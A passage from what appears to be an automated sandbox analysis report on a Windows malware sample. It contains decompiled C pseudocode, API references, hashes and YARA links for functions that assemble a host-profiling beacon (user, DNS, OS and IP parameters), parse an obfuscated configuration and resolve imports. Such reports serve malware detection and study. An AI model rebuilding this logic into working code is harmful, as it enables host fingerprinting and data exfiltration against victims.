				_t31 =  *0x4a8d27c; // 0xa9a5a8
				_t3 = _t31 + 0x4a8e633; // 0x74666f73
				_t104 = wsprintfA(_t108, _t3, 2, 0x3d136, _t30, _t29, _t28, _t27,  *0x4a8d02c,  *0x4a8d004, _t26);
				_t34 = E04A8A034();
				_t35 =  *0x4a8d27c; // 0xa9a5a8
				_t4 = _t35 + 0x4a8e673; // 0x74707526
				_t38 = wsprintfA(_t104 + _t108, _t4, _t34);
				_t111 = _t109 + 0x38;
				_t105 = _t104 + _t38;
				_t99 = E04A85A69(_t94);
				if(_t99 != 0) {
					_t86 =  *0x4a8d27c; // 0xa9a5a8
					_t6 = _t86 + 0x4a8e8cb; // 0x736e6426
					_t89 = wsprintfA(_t105 + _t108, _t6, _t99);
					_t111 = _t111 + 0xc;
					_t105 = _t105 + _t89;
					HeapFree( *0x4a8d238, 0, _t99);
				}
				_t100 = E04A8A3AA();
				if(_t100 != 0) {
					_t81 =  *0x4a8d27c; // 0xa9a5a8
					_t8 = _t81 + 0x4a8e8d3; // 0x6f687726
					_t84 = wsprintfA(_t105 + _t108, _t8, _t100);
					_t111 = _t111 + 0xc;
					_t105 = _t105 + _t84;
					HeapFree( *0x4a8d238, 0, _t100);
				}
				_t101 =  *0x4a8d324; // 0x55295b0
				_a32 = E04A8691F(0x4a8d00a, _t101 + 4);
				_t43 =  *0x4a8d2cc; // 0x0
				if(_t43 != 0) {
					_t77 =  *0x4a8d27c; // 0xa9a5a8
					_t11 = _t77 + 0x4a8e8ad; // 0x3d736f26
					_t80 = wsprintfA(_t105 + _t108, _t11, _t43);
					_t111 = _t111 + 0xc;
					_t105 = _t105 + _t80;
				}
				_t44 =  *0x4a8d2c8; // 0x0
				if(_t44 != 0) {
					_t74 =  *0x4a8d27c; // 0xa9a5a8
					_t13 = _t74 + 0x4a8e8a6; // 0x3d706926
					wsprintfA(_t105 + _t108, _t13, _t44);
				}
				if(_a32 != 0) {
					_t103 = RtlAllocateHeap( *0x4a8d238, 0, 0x800);
					if(_t103 != 0) {
						E04A8838A(GetTickCount());
						_t51 =  *0x4a8d324; // 0x55295b0
						__imp__(_t51 + 0x40);
						asm("lock xadd [eax], ecx");
						_t55 =  *0x4a8d324; // 0x55295b0
						__imp__(_t55 + 0x40);
						_t57 =  *0x4a8d324; // 0x55295b0
						_t106 = E04A89158(1, _t98, _t108,  *_t57);
						asm("lock xadd [eax], ecx");
						if(_t106 != 0) {
							StrTrimA(_t106, 0x4a8c294);
							_t63 =  *0x4a8d27c; // 0xa9a5a8
							_push(_t106);
							_t15 = _t63 + 0x4a8e252; // 0x616d692f
							_t65 = E04A86B3F(_t15);
							_v20 = _t65;
							if(_t65 != 0) {
								_t92 = __imp__;
								 *_t92(_t106, _v4);
								 *_t92(_t103, _v0);
								_t93 = __imp__;
								 *_t93(_t103, _v32);
								 *_t93(_t103, _t106);
								_t71 = E04A821BF(0xffffffffffffffff, _t103, _v32, _v28);
								_v56 = _t71;
								if(_t71 != 0 && _t71 != 0x10d2) {
									E04A8848E();
								}
								HeapFree( *0x4a8d238, 0, _v48);
							}
							HeapFree( *0x4a8d238, 0, _t106);
						}
						HeapFree( *0x4a8d238, 0, _t103);
					}
					HeapFree( *0x4a8d238, 0, _a24);
				}
				HeapFree( *0x4a8d238, 0, _t108);
				return _a12;
			}

0x04a83d57
0x04a83d57
0x04a83d57
0x04a83d5e
0x04a83d64
0x04a83d6c
0x04a83d6e
0x04a83d6e
0x04a83d7b
0x04a83d86
0x04a83d89
0x04a83d94
0x04a83d97
0x04a83d9c
0x04a83d9f
0x04a83da4
0x04a83da7
0x04a83db3
0x04a83dc0
0x04a83dc2
0x04a83dc8
0x04a83dcd
0x04a83dd8
0x04a83dda
0x04a83ddd
0x04a83de4
0x04a83de8
0x04a83dea
0x04a83def
0x04a83dfb
0x04a83dfd
0x04a83e09
0x04a83e0b
0x04a83e0b
0x04a83e16
0x04a83e1a
0x04a83e1c
0x04a83e21
0x04a83e2d
0x04a83e2f
0x04a83e3b
0x04a83e3d
0x04a83e3d
0x04a83e43
0x04a83e56
0x04a83e5a
0x04a83e61
0x04a83e64
0x04a83e69
0x04a83e74
0x04a83e76
0x04a83e79
0x04a83e79
0x04a83e7b
0x04a83e82
0x04a83e85
0x04a83e8a
0x04a83e94
0x04a83e96
0x04a83e9e
0x04a83eb7
0x04a83ebb
0x04a83ec7
0x04a83ecc
0x04a83ed5
0x04a83ee6
0x04a83eea
0x04a83ef3
0x04a83ef9
0x04a83f06
0x04a83f13
0x04a83f19
0x04a83f25
0x04a83f2b
0x04a83f30
0x04a83f31
0x04a83f38
0x04a83f3f
0x04a83f43
0x04a83f49
0x04a83f50
0x04a83f57
0x04a83f5d
0x04a83f64
0x04a83f68
0x04a83f73
0x04a83f7a
0x04a83f7e
0x04a83f87
0x04a83f87
0x04a83f98
0x04a83f98
0x04a83fa7
0x04a83fa7
0x04a83fb6
0x04a83fb6
0x04a83fc8
0x04a83fc8
0x04a83fd7
0x04a83fe8

APIs

GetTickCount.KERNEL32 ref: 04A83D6E
wsprintfA.USER32 ref: 04A83DBB
wsprintfA.USER32 ref: 04A83DD8
wsprintfA.USER32 ref: 04A83DFB
HeapFree.KERNEL32(00000000,00000000), ref: 04A83E0B
wsprintfA.USER32 ref: 04A83E2D
HeapFree.KERNEL32(00000000,00000000), ref: 04A83E3D
wsprintfA.USER32 ref: 04A83E74
wsprintfA.USER32 ref: 04A83E94
RtlAllocateHeap.NTDLL(00000000,00000800), ref: 04A83EB1
GetTickCount.KERNEL32 ref: 04A83EC1
RtlEnterCriticalSection.NTDLL(05529570), ref: 04A83ED5
RtlLeaveCriticalSection.NTDLL(05529570), ref: 04A83EF3

Part of subcall function 04A89158: lstrlen.KERNEL32(00000000,253D7325,00000000,00000000,73FCC740,?,?,04A83F06,?,055295B0), ref: 04A89183
Part of subcall function 04A89158: lstrlen.KERNEL32(?,?,?,04A83F06,?,055295B0), ref: 04A8918B
Part of subcall function 04A89158: strcpy.NTDLL ref: 04A891A2
Part of subcall function 04A89158: lstrcat.KERNEL32(00000000,?), ref: 04A891AD
Part of subcall function 04A89158: StrTrimA.SHLWAPI(00000000,=,00000000,00000000,?,?,?,04A83F06,?,055295B0), ref: 04A891CA

StrTrimA.SHLWAPI(00000000,04A8C294,?,055295B0), ref: 04A83F25

Part of subcall function 04A86B3F: lstrlen.KERNEL32(?,00000000,00000000,04A83F3D,616D692F,00000000), ref: 04A86B4B
Part of subcall function 04A86B3F: lstrlen.KERNEL32(?), ref: 04A86B53
Part of subcall function 04A86B3F: lstrcpy.KERNEL32(00000000,?), ref: 04A86B6A
Part of subcall function 04A86B3F: lstrcat.KERNEL32(00000000,?), ref: 04A86B75

lstrcpy.KERNEL32(00000000,?), ref: 04A83F50
lstrcpy.KERNEL32(00000000,00000000), ref: 04A83F57
lstrcat.KERNEL32(00000000,?), ref: 04A83F64
lstrcat.KERNEL32(00000000,00000000), ref: 04A83F68

Part of subcall function 04A821BF: WaitForSingleObject.KERNEL32(00000000,00000000,00000000,76D681D0), ref: 04A82271

HeapFree.KERNEL32(00000000,?,00000000,?,?), ref: 04A83F98
HeapFree.KERNEL32(00000000,00000000,616D692F,00000000), ref: 04A83FA7
HeapFree.KERNEL32(00000000,00000000,?,055295B0), ref: 04A83FB6
HeapFree.KERNEL32(00000000,00000000), ref: 04A83FC8
HeapFree.KERNEL32(00000000,?), ref: 04A83FD7

Memory Dump Source

Source File: 00000001.00000002.484531446.0000000004A81000.00000020.00000001.sdmp, Offset: 04A80000, based on PE: true

Associated: 00000001.00000002.484498397.0000000004A80000.00000004.00000001.sdmp Download File
Associated: 00000001.00000002.484561472.0000000004A8C000.00000002.00000001.sdmp Download File
Associated: 00000001.00000002.484587545.0000000004A8D000.00000004.00000001.sdmp Download File
Associated: 00000001.00000002.484602966.0000000004A8F000.00000002.00000001.sdmp Download File

Similarity

API ID: Heap$Free$wsprintf$lstrcatlstrlen$lstrcpy$CountCriticalSectionTickTrim$AllocateEnterLeaveObjectSingleWaitstrcpy
String ID:
API String ID: 3080378247-0
Opcode ID: 9bbf5e8a283ae9c74eb14f854438fdd0b9c812792ab390209d51b9841b5dd949
Instruction ID: 5d980cb4654cfe1af8c01054ee92b5ec499f03934b2dbfbfee11ef3db1b51c85
Opcode Fuzzy Hash: 9bbf5e8a283ae9c74eb14f854438fdd0b9c812792ab390209d51b9841b5dd949
Instruction Fuzzy Hash: 9461BC72500204AFEB21AB64EC48F5A77F8EB68764F04041CF949DB2A0E73DED169B61

Uniqueness

Uniqueness Score: -1.00%

Function 04A8AD75, Relevance: 19.5, APIs: 10, Strings: 1, Instructions: 209
libraryCOMMON

Download Yara Rule

C-Code - Quality: 51%

			E04A8AD75(long _a4, long _a8) {
				signed int _v8;
				intOrPtr _v16;
				LONG* _v28;
				long _v40;
				long _v44;
				long _v48;
				CHAR* _v52;
				long _v56;
				CHAR* _v60;
				long _v64;
				signed int* _v68;
				char _v72;
				signed int _t76;
				signed int _t80;
				signed int _t81;
				intOrPtr* _t82;
				intOrPtr* _t83;
				intOrPtr* _t85;
				intOrPtr* _t90;
				intOrPtr* _t95;
				intOrPtr* _t98;
				void* _t102;
				intOrPtr* _t104;
				void* _t115;
				long _t116;
				void _t125;
				void* _t131;
				signed short _t133;
				struct HINSTANCE__* _t138;
				signed int* _t139;

				_t139 = _a4;
				_v28 = _t139[2] + 0x4a80000;
				_t115 = _t139[3] + 0x4a80000;
				_t131 = _t139[4] + 0x4a80000;
				_v8 = _t139[7];
				_v60 = _t139[1] + 0x4a80000;
				_v16 = _t139[5] + 0x4a80000;
				_v64 = _a8;
				_v72 = 0x24;
				_v68 = _t139;
				_v56 = 0;
				asm("stosd");
				_v48 = 0;
				_v44 = 0;
				_v40 = 0;
				if(( *_t139 & 0x00000001) == 0) {
					_a8 =  &_v72;
					RaiseException(0xc06d0057, 0, 1,  &_a8);
					return 0;
				}
				_t138 =  *_v28;
				_t76 = _a8 - _t115 >> 2 << 2;
				_t133 =  *(_t131 + _t76);
				_a4 = _t76;
				_t80 =  !(_t133 >> 0x1f) & 0x00000001;
				_v56 = _t80;
				_t81 = _t133 + 0x4a80002;
				if(_t80 == 0) {
					_t81 = _t133 & 0x0000ffff;
				}
				_v52 = _t81;
				_t82 =  *0x4a8d1a0; // 0x0
				_t116 = 0;
				if(_t82 == 0) {
					L6:
					if(_t138 != 0) {
						L18:
						_t83 =  *0x4a8d1a0; // 0x0
						_v48 = _t138;
						if(_t83 != 0) {
							_t116 =  *_t83(2,  &_v72);
						}
						if(_t116 != 0) {
							L32:
							 *_a8 = _t116;
							L33:
							_t85 =  *0x4a8d1a0; // 0x0
							if(_t85 != 0) {
								_v40 = _v40 & 0x00000000;
								_v48 = _t138;
								_v44 = _t116;
								 *_t85(5,  &_v72);
							}
							return _t116;
						} else {
							if(_t139[5] == _t116 || _t139[7] == _t116) {
								L27:
								_t116 = GetProcAddress(_t138, _v52);
								if(_t116 == 0) {
									_v40 = GetLastError();
									_t90 =  *0x4a8d19c; // 0x0
									if(_t90 != 0) {
										_t116 =  *_t90(4,  &_v72);
									}
									if(_t116 == 0) {
										_a4 =  &_v72;
										RaiseException(0xc06d007f, _t116, 1,  &_a4);
										_t116 = _v44;
									}
								}
								goto L32;
							} else {
								_t95 =  *((intOrPtr*)(_t138 + 0x3c)) + _t138;
								if( *_t95 == 0x4550 &&  *((intOrPtr*)(_t95 + 8)) == _v8 && _t138 ==  *((intOrPtr*)(_t95 + 0x34))) {
									_t116 =  *(_a4 + _v16);
									if(_t116 != 0) {
										goto L32;
									}
								}
								goto L27;
							}
						}
					}
					_t98 =  *0x4a8d1a0; // 0x0
					if(_t98 == 0) {
						L9:
						_t138 = LoadLibraryA(_v60);
						if(_t138 != 0) {
							L13:
							if(InterlockedExchange(_v28, _t138) == _t138) {
								FreeLibrary(_t138);
							} else {
								if(_t139[6] != 0) {
									_t102 = LocalAlloc(0x40, 8);
									if(_t102 != 0) {
										 *(_t102 + 4) = _t139;
										_t125 =  *0x4a8d198; // 0x0
										 *_t102 = _t125;
										 *0x4a8d198 = _t102;
									}
								}
							}
							goto L18;
						}
						_v40 = GetLastError();
						_t104 =  *0x4a8d19c; // 0x0
						if(_t104 == 0) {
							L12:
							_a8 =  &_v72;
							RaiseException(0xc06d007e, 0, 1,  &_a8);
							return _v44;
						}
						_t138 =  *_t104(3,  &_v72);
						if(_t138 != 0) {
							goto L13;
						}
						goto L12;
					}
					_t138 =  *_t98(1,  &_v72);
					if(_t138 != 0) {
						goto L13;
					}
					goto L9;
				}
				_t116 =  *_t82(0,  &_v72);
				if(_t116 != 0) {
					goto L33;
				}
				goto L6;
			}

0x04a8ad84
0x04a8ad9a
0x04a8ada0
0x04a8ada2
0x04a8ada7
0x04a8adad
0x04a8adb2
0x04a8adb5
0x04a8adc3
0x04a8adca
0x04a8adcd
0x04a8add0
0x04a8add1
0x04a8add4
0x04a8add7
0x04a8adda
0x04a8addf
0x04a8adee
0x00000000
0x04a8adf4
0x04a8adfe
0x04a8ae08
0x04a8ae0d
0x04a8ae0f
0x04a8ae19
0x04a8ae1c
0x04a8ae1f
0x04a8ae25
0x04a8ae27
0x04a8ae27
0x04a8ae2a
0x04a8ae2d
0x04a8ae32
0x04a8ae36
0x04a8ae49
0x04a8ae4b
0x04a8aef3
0x04a8aef3
0x04a8aefa
0x04a8aefd
0x04a8af07
0x04a8af07
0x04a8af0b
0x04a8af89
0x04a8af8c
0x04a8af8e
0x04a8af8e
0x04a8af95
0x04a8af97
0x04a8afa1
0x04a8afa4
0x04a8afa7
0x04a8afa7
0x00000000
0x04a8af0d
0x04a8af10
0x04a8af3e
0x04a8af48
0x04a8af4c
0x04a8af54
0x04a8af57
0x04a8af5e
0x04a8af68
0x04a8af68
0x04a8af6c
0x04a8af71
0x04a8af80
0x04a8af86
0x04a8af86
0x04a8af6c
0x00000000
0x04a8af17
0x04a8af1a
0x04a8af22
0x04a8af37
0x04a8af3c
0x00000000
0x00000000
0x04a8af3c
0x00000000
0x04a8af22
0x04a8af10
0x04a8af0b
0x04a8ae51
0x04a8ae58
0x04a8ae68
0x04a8ae71
0x04a8ae75
0x04a8aeb8
0x04a8aec4
0x04a8aeed
0x04a8aec6
0x04a8aeca
0x04a8aed0
0x04a8aed8
0x04a8aeda
0x04a8aedd
0x04a8aee3
0x04a8aee5
0x04a8aee5
0x04a8aed8
0x04a8aeca
0x00000000
0x04a8aec4
0x04a8ae7d
0x04a8ae80
0x04a8ae87
0x04a8ae97
0x04a8ae9a
0x04a8aeaa
0x00000000
0x04a8aeb0
0x04a8ae91
0x04a8ae95
0x00000000
0x00000000
0x00000000
0x04a8ae95
0x04a8ae62
0x04a8ae66
0x00000000
0x00000000
0x00000000
0x04a8ae66
0x04a8ae3f
0x04a8ae43
0x00000000
0x00000000
0x00000000

APIs

RaiseException.KERNEL32(C06D0057,00000000,00000001,?), ref: 04A8ADEE
LoadLibraryA.KERNEL32(?), ref: 04A8AE6B
GetLastError.KERNEL32 ref: 04A8AE77
RaiseException.KERNEL32(C06D007E,00000000,00000001,?), ref: 04A8AEAA

Strings

$, xrefs: 04A8ADC3

Memory Dump Source

Source File: 00000001.00000002.484531446.0000000004A81000.00000020.00000001.sdmp, Offset: 04A80000, based on PE: true

Associated: 00000001.00000002.484498397.0000000004A80000.00000004.00000001.sdmp Download File
Associated: 00000001.00000002.484561472.0000000004A8C000.00000002.00000001.sdmp Download File
Associated: 00000001.00000002.484587545.0000000004A8D000.00000004.00000001.sdmp Download File
Associated: 00000001.00000002.484602966.0000000004A8F000.00000002.00000001.sdmp Download File

Similarity

API ID: ExceptionRaise$ErrorLastLibraryLoad
String ID: $
API String ID: 948315288-3993045852
Opcode ID: 1c4a3feb88ad3356e4364cb8791a886e596d0edf6f15b77a04ecbf95156635fc
Instruction ID: e9dd6cb76150a9ab389b1be8aa7222b2d47da4dad80bf0687686b613d18664b0
Opcode Fuzzy Hash: 1c4a3feb88ad3356e4364cb8791a886e596d0edf6f15b77a04ecbf95156635fc
Instruction Fuzzy Hash: B58119B1A01605AFDB10DFA8D884AAEB7F5EF58310F14842EE905E7281EB74ED45CF60

Uniqueness

Uniqueness Score: -1.00%

Function 04A8189D, Relevance: 18.1, APIs: 12, Instructions: 102
stringCOMMON

Download Yara Rule

C-Code - Quality: 68%

			E04A8189D(void* __ecx, intOrPtr _a4, WCHAR* _a8, WCHAR* _a12, WCHAR** _a16, WCHAR** _a20) {
				intOrPtr _v8;
				intOrPtr _v12;
				long _v16;
				signed int _v20;
				void* __esi;
				intOrPtr _t42;
				intOrPtr _t44;
				void* _t46;
				void* _t47;
				void* _t48;
				int _t49;
				WCHAR* _t53;
				WCHAR* _t56;
				void* _t57;
				int _t58;
				intOrPtr _t64;
				void* _t69;
				void* _t74;
				intOrPtr _t75;
				intOrPtr _t79;
				intOrPtr* _t85;
				WCHAR* _t88;

				_t74 = __ecx;
				_t79 =  *0x4a8d33c; // 0x5529bb0
				_v20 = 8;
				_v16 = GetTickCount();
				_t42 = E04A82696(_t74,  &_v16);
				_v12 = _t42;
				if(_t42 == 0) {
					_v12 = 0x4a8c19c;
				}
				_t44 = E04A881DB(_t79);
				_v8 = _t44;
				if(_t44 != 0) {
					_t85 = __imp__;
					_t46 =  *_t85(_v12, _t69);
					_t47 =  *_t85(_v8);
					_t48 =  *_t85(_a4);
					_t49 = lstrlenW(_a8);
					_t53 = E04A86B2A(lstrlenW(0x4a8eb38) + _t48 + _t46 + _t46 + _t47 + _t49 + lstrlenW(0x4a8eb38) + _t48 + _t46 + _t46 + _t47 + _t49 + 2);
					_v16 = _t53;
					if(_t53 != 0) {
						_t75 =  *0x4a8d27c; // 0xa9a5a8
						_t18 = _t75 + 0x4a8eb38; // 0x530025
						wsprintfW(_t53, _t18, _v12, _v12, _a4, _v8, _a8);
						_t56 =  *_t85(_v8);
						_a8 = _t56;
						_t57 =  *_t85(_a4);
						_t58 = lstrlenW(_a12);
						_t88 = E04A86B2A(lstrlenW(0x4a8ec58) + _a8 + _t57 + _t58 + lstrlenW(0x4a8ec58) + _a8 + _t57 + _t58 + 2);
						if(_t88 == 0) {
							E04A89A1A(_v16);
						} else {
							_t64 =  *0x4a8d27c; // 0xa9a5a8
							_t31 = _t64 + 0x4a8ec58; // 0x73006d
							wsprintfW(_t88, _t31, _a4, _v8, _a12);
							 *_a16 = _v16;
							_v20 = _v20 & 0x00000000;
							 *_a20 = _t88;
						}
					}
					E04A89A1A(_v8);
				}
				return _v20;
			}

0x04a8189d
0x04a818a5
0x04a818ab
0x04a818bb
0x04a818be
0x04a818c5
0x04a818c8
0x04a818ca
0x04a818ca
0x04a818d3
0x04a818da
0x04a818dd
0x04a818e3
0x04a818ed
0x04a818f6
0x04a818fd
0x04a8190b
0x04a8191d
0x04a81924
0x04a81927
0x04a81930
0x04a81942
0x04a81950
0x04a81958
0x04a8195d
0x04a81960
0x04a8196b
0x04a81982
0x04a81986
0x04a819b9
0x04a81988
0x04a8198b
0x04a81993
0x04a8199e
0x04a819a6
0x04a819ae
0x04a819b2
0x04a819b2
0x04a81986
0x04a819c1
0x04a819c6
0x04a819cd

APIs

GetTickCount.KERNEL32 ref: 04A818B2
lstrlen.KERNEL32(00000000,80000002), ref: 04A818ED
lstrlen.KERNEL32(?), ref: 04A818F6
lstrlen.KERNEL32(00000000), ref: 04A818FD
lstrlenW.KERNEL32(80000002), ref: 04A8190B
lstrlenW.KERNEL32(04A8EB38), ref: 04A81914
wsprintfW.USER32 ref: 04A81950
lstrlen.KERNEL32(?), ref: 04A81958
lstrlen.KERNEL32(?), ref: 04A81960
lstrlenW.KERNEL32(?), ref: 04A8196B
lstrlenW.KERNEL32(04A8EC58), ref: 04A81974
wsprintfW.USER32 ref: 04A8199E

Part of subcall function 04A89A1A: RtlFreeHeap.NTDLL(00000000,00000000,04A85C24,00000000,?,?,-00000008), ref: 04A89A26

Memory Dump Source

Source File: 00000001.00000002.484531446.0000000004A81000.00000020.00000001.sdmp, Offset: 04A80000, based on PE: true

Associated: 00000001.00000002.484498397.0000000004A80000.00000004.00000001.sdmp Download File
Associated: 00000001.00000002.484561472.0000000004A8C000.00000002.00000001.sdmp Download File
Associated: 00000001.00000002.484587545.0000000004A8D000.00000004.00000001.sdmp Download File
Associated: 00000001.00000002.484602966.0000000004A8F000.00000002.00000001.sdmp Download File

Similarity

API ID: lstrlen$wsprintf$CountFreeHeapTick
String ID:
API String ID: 822878831-0
Opcode ID: 92d98514e3d25ef14cd09334883ae50d104fb473f9fe0b4a445a3d4900c56cc1
Instruction ID: ebaba42eaff283c13181ebb8d73816b35a3f5e6f881a232089f88276e5fd825c
Opcode Fuzzy Hash: 92d98514e3d25ef14cd09334883ae50d104fb473f9fe0b4a445a3d4900c56cc1
Instruction Fuzzy Hash: BC3137B2D00219EFDF01AFA4DC4499EBFB5FF58358B058069E904A7210EB35EA16DF90

Uniqueness

Uniqueness Score: -1.00%

Function 04A89158, Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 68
stringCOMMON

Download Yara Rule

C-Code - Quality: 63%

			E04A89158(void* __ecx, void* __edx, intOrPtr _a4, intOrPtr _a8) {
				intOrPtr _v8;
				intOrPtr _t9;
				intOrPtr _t13;
				char* _t28;
				void* _t33;
				void* _t34;
				char* _t36;
				intOrPtr* _t40;
				char* _t41;
				char* _t42;
				char* _t43;

				_t34 = __edx;
				_push(__ecx);
				_t9 =  *0x4a8d27c; // 0xa9a5a8
				_t1 = _t9 + 0x4a8e62c; // 0x253d7325
				_t36 = 0;
				_t28 = E04A83FEB(__ecx, _t1);
				if(_t28 != 0) {
					_t40 = __imp__;
					_t13 =  *_t40(_t28);
					_v8 = _t13;
					_t41 = E04A86B2A(_v8 +  *_t40(_a4) + 1);
					if(_t41 != 0) {
						strcpy(_t41, _t28);
						_pop(_t33);
						__imp__(_t41, _a4);
						_t36 = E04A8468B(_t34, _t41, _a8);
						E04A89A1A(_t41);
						_t42 = E04A858E4(StrTrimA(_t36, "="), _t36);
						if(_t42 != 0) {
							E04A89A1A(_t36);
							_t36 = _t42;
						}
						_t43 = E04A8959E(_t36, _t33);
						if(_t43 != 0) {
							E04A89A1A(_t36);
							_t36 = _t43;
						}
					}
					E04A89A1A(_t28);
				}
				return _t36;
			}

0x04a89158
0x04a8915b
0x04a8915c
0x04a89164
0x04a8916b
0x04a89172
0x04a89176
0x04a8917c
0x04a89183
0x04a89188
0x04a8919a
0x04a8919e
0x04a891a2
0x04a891a8
0x04a891ad
0x04a891bd
0x04a891bf
0x04a891d6
0x04a891da
0x04a891dd
0x04a891e2
0x04a891e2
0x04a891eb
0x04a891ef
0x04a891f2
0x04a891f7
0x04a891f7
0x04a891ef
0x04a891fa
0x04a891fa
0x04a89205

APIs

Part of subcall function 04A83FEB: lstrlen.KERNEL32(00000000,00000000,00000000,73FCC740,?,?,?,04A89172,253D7325,00000000,00000000,73FCC740,?,?,04A83F06,?), ref: 04A84052
Part of subcall function 04A83FEB: sprintf.NTDLL ref: 04A84073

lstrlen.KERNEL32(00000000,253D7325,00000000,00000000,73FCC740,?,?,04A83F06,?,055295B0), ref: 04A89183
lstrlen.KERNEL32(?,?,?,04A83F06,?,055295B0), ref: 04A8918B

Part of subcall function 04A86B2A: RtlAllocateHeap.NTDLL(00000000,-00000008,04A85B64), ref: 04A86B36

strcpy.NTDLL ref: 04A891A2
lstrcat.KERNEL32(00000000,?), ref: 04A891AD

Part of subcall function 04A8468B: lstrlen.KERNEL32(?,?,?,?,00000001,00000000,00000000,?,04A891BC,00000000,?,?,?,04A83F06,?,055295B0), ref: 04A846A2

Part of subcall function 04A89A1A: RtlFreeHeap.NTDLL(00000000,00000000,04A85C24,00000000,?,?,-00000008), ref: 04A89A26

StrTrimA.SHLWAPI(00000000,=,00000000,00000000,?,?,?,04A83F06,?,055295B0), ref: 04A891CA

Part of subcall function 04A858E4: lstrlen.KERNEL32(?,00000000,00000000,00000000,?,04A891D6,00000000,?,?,04A83F06,?,055295B0), ref: 04A858EE
Part of subcall function 04A858E4: _snprintf.NTDLL ref: 04A8594C

Strings

=, xrefs: 04A891C4

Memory Dump Source

Source File: 00000001.00000002.484531446.0000000004A81000.00000020.00000001.sdmp, Offset: 04A80000, based on PE: true

Associated: 00000001.00000002.484498397.0000000004A80000.00000004.00000001.sdmp Download File
Associated: 00000001.00000002.484561472.0000000004A8C000.00000002.00000001.sdmp Download File
Associated: 00000001.00000002.484587545.0000000004A8D000.00000004.00000001.sdmp Download File
Associated: 00000001.00000002.484602966.0000000004A8F000.00000002.00000001.sdmp Download File

Similarity

API ID: lstrlen$Heap$AllocateFreeTrim_snprintflstrcatsprintfstrcpy
String ID: =
API String ID: 2864389247-1428090586
Opcode ID: 3aa38b2edb29b3e4519de0465ca66b64ac1a2b09ce84e8b979328b47b1081b0e
Instruction ID: f62e24284006abcecc68d8d08c043316e7f46c166a3abf1a7f869b3bd0355990
Opcode Fuzzy Hash: 3aa38b2edb29b3e4519de0465ca66b64ac1a2b09ce84e8b979328b47b1081b0e
Instruction Fuzzy Hash: 0C1173B39015297B67127BB49D84C7F7AADDF49668305401DF505AB201DF28ED0397A0

Uniqueness

Uniqueness Score: -1.00%

Function 04A81A99, Relevance: 9.2, APIs: 6, Instructions: 187
memoryCOMMON

Download Yara Rule

C-Code - Quality: 86%

			E04A81A99(void* __ebx, int* __ecx, void* __edi, void* __esi) {
				int _v8;
				void* _v12;
				signed int _t18;
				signed int _t23;
				void* _t28;
				char* _t29;
				char* _t30;
				char* _t31;
				char* _t32;
				char* _t33;
				void* _t34;
				void* _t35;
				signed int _t41;
				void* _t43;
				void* _t44;
				signed int _t46;
				signed int _t50;
				signed int _t54;
				signed int _t58;
				signed int _t62;
				signed int _t66;
				void* _t69;
				void* _t70;
				void* _t80;
				void* _t83;
				intOrPtr _t86;

				_t83 = __esi;
				_t80 = __edi;
				_t72 = __ecx;
				_t69 = __ebx;
				_push(__ecx);
				_push(__ecx);
				_t18 =  *0x4a8d278; // 0x59935a40
				if(E04A8636A( &_v12,  &_v8, _t18 ^ 0xb8bb0424) != 0 && _v8 >= 0x90) {
					 *0x4a8d2d0 = _v12;
				}
				_t23 =  *0x4a8d278; // 0x59935a40
				if(E04A8636A( &_v12,  &_v8, _t23 ^ 0xd62287a1) == 0) {
					_t28 = 2;
					return _t28;
				} else {
					_push(_t69);
					_t70 = _v12;
					_push(_t83);
					_push(_t80);
					if(_t70 == 0) {
						_t29 = 0;
					} else {
						_t66 =  *0x4a8d278; // 0x59935a40
						_t29 = E04A89636(_t72, _t70, _t66 ^ 0x48b4463f);
					}
					if(_t29 != 0) {
						_t72 =  &_v8;
						if(StrToIntExA(_t29, 0,  &_v8) != 0) {
							 *0x4a8d240 = _v8;
						}
					}
					if(_t70 == 0) {
						_t30 = 0;
					} else {
						_t62 =  *0x4a8d278; // 0x59935a40
						_t30 = E04A89636(_t72, _t70, _t62 ^ 0x11ba0dc3);
					}
					if(_t30 != 0) {
						_t72 =  &_v8;
						if(StrToIntExA(_t30, 0,  &_v8) != 0) {
							 *0x4a8d244 = _v8;
						}
					}
					if(_t70 == 0) {
						_t31 = 0;
					} else {
						_t58 =  *0x4a8d278; // 0x59935a40
						_t31 = E04A89636(_t72, _t70, _t58 ^ 0x01dd0365);
					}
					if(_t31 != 0) {
						_t72 =  &_v8;
						if(StrToIntExA(_t31, 0,  &_v8) != 0) {
							 *0x4a8d248 = _v8;
						}
					}
					if(_t70 == 0) {
						_t32 = 0;
					} else {
						_t54 =  *0x4a8d278; // 0x59935a40
						_t32 = E04A89636(_t72, _t70, _t54 ^ 0x3cf823ca);
					}
					if(_t32 != 0) {
						_t72 =  &_v8;
						if(StrToIntExA(_t32, 0,  &_v8) != 0) {
							 *0x4a8d004 = _v8;
						}
					}
					if(_t70 == 0) {
						_t33 = 0;
					} else {
						_t50 =  *0x4a8d278; // 0x59935a40
						_t33 = E04A89636(_t72, _t70, _t50 ^ 0x0cf9b7cf);
					}
					if(_t33 != 0) {
						_t72 =  &_v8;
						if(StrToIntExA(_t33, 0,  &_v8) != 0) {
							 *0x4a8d02c = _v8;
						}
					}
					if(_t70 == 0) {
						_t34 = 0;
					} else {
						_t46 =  *0x4a8d278; // 0x59935a40
						_t34 = E04A89636(_t72, _t70, _t46 ^ 0x163b337e);
					}
					if(_t34 != 0) {
						_push(_t34);
						_t43 = 0x10;
						_t44 = E04A81C77(_t43);
						if(_t44 != 0) {
							_push(_t44);
							E04A860A5();
						}
					}
					if(_t70 == 0) {
						_t35 = 0;
					} else {
						_t41 =  *0x4a8d278; // 0x59935a40
						_t35 = E04A89636(_t72, _t70, _t41 ^ 0x89f501b6);
					}
					if(_t35 != 0 && E04A81C77(0, _t35) != 0) {
						_t86 =  *0x4a8d324; // 0x55295b0
						E04A841D9(_t86 + 4, _t39);
					}
					HeapFree( *0x4a8d238, 0, _t70);
					return 0;
				}
			}

0x04a81a99
0x04a81a99
0x04a81a99
0x04a81a99
0x04a81a9c
0x04a81a9d
0x04a81a9e
0x04a81ab8
0x04a81ac6
0x04a81ac6
0x04a81acb
0x04a81ae5
0x04a81c74
0x04a81c76
0x04a81aeb
0x04a81aeb
0x04a81aec
0x04a81aef
0x04a81af0
0x04a81af5
0x04a81b0b
0x04a81af7
0x04a81af7
0x04a81b04
0x04a81b04
0x04a81b15
0x04a81b17
0x04a81b21
0x04a81b26
0x04a81b26
0x04a81b21
0x04a81b2d
0x04a81b43
0x04a81b2f
0x04a81b2f
0x04a81b3c
0x04a81b3c
0x04a81b47
0x04a81b49
0x04a81b53
0x04a81b58
0x04a81b58
0x04a81b53
0x04a81b5f
0x04a81b75
0x04a81b61
